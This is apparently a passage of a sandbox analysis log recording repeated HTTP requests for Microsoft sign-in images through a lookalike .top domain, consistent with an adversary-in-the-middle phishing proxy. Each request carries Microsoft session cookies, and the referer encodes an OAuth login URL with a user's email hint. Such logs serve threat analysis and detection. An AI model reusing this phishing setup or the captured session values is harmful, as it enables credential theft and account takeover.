esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top/captcha.rdr?ref=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1zaGV1ZSU0MDdoYWlyY2FyZS5jb20mY2xpZW50LXJlcXVlc3QtaWQ9MDNkNTc0ZjctYmFkMy1lMmQwLWM3NWMtNWEyNWNjNmM0YzZjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NjY3MDE2MTY0ODczMi5iYmMyNGYyOS04NDcwLTQzYWQtOGY2Ny1jNTE4ZDA2NzE5ZGUmc3RhdGU9RGN0QkRzSWdFRUJSMExQb2puYUFjV1pZR0k5aUtGQWgwWkpVamRlWHhmdTdyNVZTeC1Fd2FCaFJURjR3RURGWXNvVEMzazNMa2h5dUxoaEJCb00tWmlNcnNVa1hLeG1JYmNoRmpfYzg5MS1jYjhfLWFOdTl0dTF6ZmRmeUxTY0Vyckh0S2U1bFN2MzFCdw==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
